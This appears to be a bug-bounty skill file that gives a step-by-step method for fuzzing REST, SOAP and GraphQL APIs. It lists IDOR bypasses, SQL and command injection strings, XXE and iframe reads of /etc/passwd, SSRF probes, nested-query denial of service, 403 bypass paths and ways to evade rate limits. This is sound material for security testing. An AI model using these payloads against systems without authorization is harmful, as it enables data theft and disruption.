api-fuzzing-for-bug-bounty

# API Fuzzing for Bug Bounty ## Purpose Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors. ## Inputs/Prerequisites - Burp Suite or similar proxy tool - API wordlists (SecLists, api_wordlist) - Understanding of REST/GraphQL/SOAP protocols - Python for scripting - Target API endpoints and documentation (if available) ## Outputs/Deliverables - Identified API vulnerabilities - IDOR exploitation proofs - Authentication bypass techniques - SQL injection points - Unauthorized data access documentation --- ## API Types Overview | Type | Protocol | Data Format | Structure | |------|----------|-------------|-----------| | SOAP | HTTP | XML | Header + Body | | REST | HTTP | JSON/XML/URL | Defined endpoints | | GraphQL | HTTP | Custom Query | Single endpoint | --- ## Core Workflow ### Step 1: API Reconnaissance Identify API type and enumerate endpoints: ```bash # Check for Swagger/OpenAPI documentation /swagger.json /openapi.json /api-docs /v1/api-docs /swagger-ui.html # Use Kiterunner for API discovery kr scan https://target.com -w routes-large.kite # Extract paths from Swagger python3 json2paths.py swagger.json ``` ### Step 2: Authentication Testing ```bash # Test different login paths /api/mobile/login /api/v3/login /api/magic_link /api/admin/login # Check rate limiting on auth endpoints # If no rate limit → brute force possible # Test mobile vs web API separately # Don't assume same security controls ``` ### Step 3: IDOR Testing Insecure Direct Object Reference is the most common API vulnerability: ```bash # Basic IDOR GET /api/users/1234 → GET /api/users/1235 # Even if ID is email-based, try numeric /?user_id=111 instead of /?user_id=user@mail.com # Test /me/orders vs /user/654321/orders ``` **IDOR Bypass Techniques:** ```bash # Wrap ID in array {"id":111} → {"id":[111]} # JSON wrap {"id":111} → {"id":{"id":111}} # Send ID twice URL?id=<LEGIT>&id=<VICTIM> # Wildcard injection {"user_id":"*"} # Parameter pollution /api/get_profile?user_id=<victim>&user_id=<legit> {"user_id":<legit_id>,"user_id":<victim_id>} ``` ### Step 4: Injection Testing **SQL Injection in JSON:** ```json {"id":"56456"} → OK {"id":"56456 AND 1=1#"} → OK {"id":"56456 AND 1=2#"} → OK {"id":"56456 AND 1=3#"} → ERROR (vulnerable!) {"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC ``` **Command Injection:** ```bash # Ruby on Rails ?url=Kernel#open → ?url=|ls # Linux command injection api.url.com/endpoint?name=file.txt;ls%20/ ``` **XXE Injection:** ```xml <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> ``` **SSRF via API:** ```html <object data="http://127.0.0.1:8443"/> <img src="http://127.0.0.1:445"/> ``` ### Step 5: Method Testing ```bash # Test all HTTP methods GET /api/v1/users/1 POST /api/v1/users/1 PUT /api/v1/users/1 DELETE /api/v1/users/1 PATCH /api/v1/users/1 # Switch content type Content-Type: application/json → application/xml ``` --- ## GraphQL-Specific Testing ### Introspection Query Fetch entire backend schema: ```graphql {__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}} ``` **URL-encoded version:** ``` /graphql?query={__schema{types{name,kind,description,fields{name}}}} ``` ### GraphQL IDOR ```graphql # Try accessing other user IDs query { user(id: "OTHER_USER_ID") { email password creditCard } } ``` ### GraphQL SQL/NoSQL Injection ```graphql mutation { login(input: { email: "test' or 1=1--" password: "password" }) { success jwt } } ``` ### Rate Limit Bypass (Batching) ```graphql mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}} mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}} mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}} ``` ### GraphQL DoS (Nested Queries) ```graphql query { posts { comments { user { posts { comments { user { posts { ... } } } } } } } } ``` ### GraphQL Tools | Tool | Purpose | |------|---------| | GraphCrawler | Schema discovery | | graphw00f | Fingerprinting | | clairvoyance | Schema reconstruction | | InQL | Burp extension | | GraphQLmap | Exploitation | --- ## Endpoint Bypass Techniques When receiving 403/401, try these bypasses: ```bash # Original blocked request /api/v1/users/sensitivedata → 403 # Bypass attempts /api/v1/users/sensitivedata.json /api/v1/users/sensitivedata? /api/v1/users/sensitivedata/ /api/v1/users/sensitivedata?? /api/v1/users/sensitivedata%20 /api/v1/users/sensitivedata%09 /api/v1/users/sensitivedata# /api/v1/users/sensitivedata&details /api/v1/users/..;/sensitivedata ``` --- ## Output Exploitation ### PDF Export Attacks ```html <!-- LFI via PDF export --> <iframe src="file:///etc/passwd" height=1000 width=800> <!-- SSRF via PDF export --> <object data="http://127.0.0.1:8443"/> <!-- Port scanning --> <img src="http://127.0.0.1:445"/> <!-- IP disclosure --> <img src="https://iplogger.com/yourcode.gif"/> ``` ### DoS via Limits ```bash # Normal request /api/news?limit=100 # DoS attempt /api/news?limit=9999999999 ``` --- ## Quick Reference | Vulnerability | Test Payload | Risk | |---------------|--------------|------| | IDOR | Change user_id parameter | High | | SQLi | `' OR 1=1--` in JSON | Critical | | Command Injection | `; ls /` | Critical | | XXE | DOCTYPE with ENTITY | High | | SSRF | Internal IP in params | High | | Rate Limit Bypass | Batch requests | Medium | | Method Tampering | GET→DELETE | High | --- ## Tools Reference | Category | Tool | URL | |----------|------|-----| | API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi | | API Discovery | Kiterunner | github.com/assetnote/kiterunner | | GraphQL | InQL | github.com/doyensec/inql | | Wordlists | SecLists | github.com/danielmiessler/SecLists | | Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ | | API Mindmap | MindAPI | dsopas.github.io/MindAPI/play | --- ## Constraints **Must:** - Test mobile, web, and developer APIs separately - Check all API versions (/v1, /v2, /v3) - Validate both authenticated and unauthenticated access **Must Not:** - Assume same security controls across API versions - Skip testing undocumented endpoints - Ignore rate limiting checks **Should:** - Add `X-Requested-With: XMLHttpRequest` header to simulate frontend - Check archive.org for historical API endpoints - Test for race conditions on sensitive operations --- ## Examples ### Example 1: IDOR Exploitation ```bash # Original request (own data) GET /api/v1/invoices/12345 Authorization: Bearer <token> # Modified request (other user's data) GET /api/v1/invoices/12346 Authorization: Bearer <token> # Response reveals other user's invoice data ``` ### Example 2: GraphQL Introspection ```bash curl -X POST https://target.com/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name,fields{name}}}}"}' ``` --- ## Troubleshooting | Issue | Solution | |-------|----------| | API returns nothing | Add `X-Requested-With: XMLHttpRequest` header | | 401 on all endpoints | Try adding `?user_id=1` parameter | | GraphQL introspection disabled | Use clairvoyance for schema reconstruction | | Rate limited | Use IP rotation or batch requests | | Can't find endpoints | Check Swagger, archive.org, JS files |